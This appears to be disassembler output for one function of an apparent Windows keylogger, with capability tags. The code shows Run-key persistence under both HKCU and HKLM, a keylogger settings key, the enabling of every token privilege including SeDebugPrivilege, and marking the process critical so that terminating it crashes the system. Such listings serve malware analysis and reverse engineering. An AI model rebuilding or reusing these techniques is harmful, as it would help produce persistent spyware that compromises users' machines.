Function at 0x140001380
Capabilities:
Acquire debug privileges
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x140043010]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x40]
movaps xmm1, xmmword [0x14003e040]
xor edx, edx
movzx eax, word [0x14003e070]
mov r8d, 0x208
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [0x14003e050]
movaps xmmword [rbp - 0x80], xmm1
movaps xmm1, xmmword [0x14003e060]
movaps xmmword [rbp - 0x70], xmm0
movaps xmmword [rbp - 0x60], xmm1
mov word [rbp - 0x50], ax
call fcn.140009890
mov r8d, 0x104
lea rdx, [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rbx, 0xffffffffffffffff
test eax, eax
je 0x14000159c
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000145e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x1400014dc
lea rcx, [rbp - 0x40]
mov rax, rbx
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001470
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x70]
lea rax, [rbp - 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x1400014d6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x1400014dc
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001525
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000159c
lea rcx, [rbp - 0x40]
mov rax, rbx
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001530
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x70]
lea rax, [rbp - 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140001596
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000159c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140003b90
xor edi, edi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rdi
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000163d
lea rcx, str.test
nop dword [rax + rax]
cmp word [rcx + rbx*2 + 2], di
lea rbx, [rbx + 1]
jne 0x1400015f0
lea eax, [rbx*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea rdx, str._kl_
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.keylogger_save_OK__n
call fcn.1400012c0
call fcn.1400063b0
call fcn.1400063b0
mov qword [rsp + 0x50], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001837
lea rcx, str.SeAssignPrimaryTokenPrivilege
mov qword [rbp + 0xb0], rdi
mov qword [rbp - 0x38], rcx
lea rax, str.SeCreateTokenPrivilege
lea rcx, str.SeLockMemoryPrivilege
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x30], rcx
mov rbx, rdi
lea rcx, str.SeIncreaseQuotaPrivilege
mov qword [rbp - 0x28], rcx
lea rcx, str.SeUnsolicitedInputPrivilege
mov qword [rbp - 0x20], rcx
lea rcx, str.SeMachineAccountPrivilege
mov qword [rbp - 0x18], rcx
lea rcx, str.SeTcbPrivilege
mov qword [rbp - 0x10], rcx
lea rcx, str.SeSecurityPrivilege
mov qword [rbp - 8], rcx
lea rcx, str.SeTakeOwnershipPrivilege
mov qword [rbp], rcx
lea rcx, str.SeLoadDriverPrivilege
mov qword [rbp + 8], rcx
lea rcx, str.SeSystemProfilePrivilege
mov qword [rbp + 0x10], rcx
lea rcx, str.SeSystemtimePrivilege
mov qword [rbp + 0x18], rcx
lea rcx, str.SeProfileSingleProcessPrivilege
mov qword [rbp + 0x20], rcx
lea rcx, str.SeIncreaseBasePriorityPrivilege
mov qword [rbp + 0x28], rcx
lea rcx, str.SeCreatePagefilePrivilege
mov qword [rbp + 0x30], rcx
lea rcx, str.SeCreatePermanentPrivilege
mov qword [rbp + 0x38], rcx
lea rcx, str.SeBackupPrivilege
mov qword [rbp + 0x40], rcx
lea rcx, str.SeRestorePrivilege
mov qword [rbp + 0x48], rcx
lea rcx, str.SeShutdownPrivilege
mov qword [rbp + 0x50], rcx
lea rcx, str.SeDebugPrivilege
mov qword [rbp + 0x58], rcx
lea rcx, str.SeAuditPrivilege
mov qword [rbp + 0x60], rcx
lea rcx, str.SeSystemEnvironmentPrivilege
mov qword [rbp + 0x68], rcx
lea rcx, str.SeChangeNotifyPrivilege
mov qword [rbp + 0x70], rcx
lea rcx, str.SeRemoteShutdownPrivilege
mov qword [rbp + 0x78], rcx
lea rcx, str.SeUndockPrivilege
mov qword [rbp + 0x80], rcx
lea rcx, str.SeSyncAgentPrivilege
mov qword [rbp + 0x88], rcx
lea rcx, str.SeEnableDelegationPrivilege
mov qword [rbp + 0x90], rcx
lea rcx, str.SeManageVolumePrivilege
mov qword [rbp + 0x98], rcx
lea rcx, str.SeImpersonatePrivilege
mov qword [rbp + 0xa0], rcx
lea rcx, str.SeCreateGlobalPrivilege
mov qword [rbp + 0xa8], rcx
nop dword [rax]
nop word [rax + rax]
xor ecx, ecx
lea r8, [rsp + 0x5c]
mov rdx, rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rcx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x64], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rbx, [rbx + 1]
mov rax, qword [rbp + rbx*8 - 0x40]
test rax, rax
jne 0x1400017e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000185e
lea rcx, str.OpenProcess_error__n
jmp 0x1400018c6
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001889
lea rcx, str.GetProcAddress_error__n
jmp 0x1400018c6
mov r9d, 4
mov dword [rsp + 0x50], 1
lea r8, [rsp + 0x50]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x1400018bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001320
jmp 0x1400018cb
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001320
mov eax, 1
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140006470
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret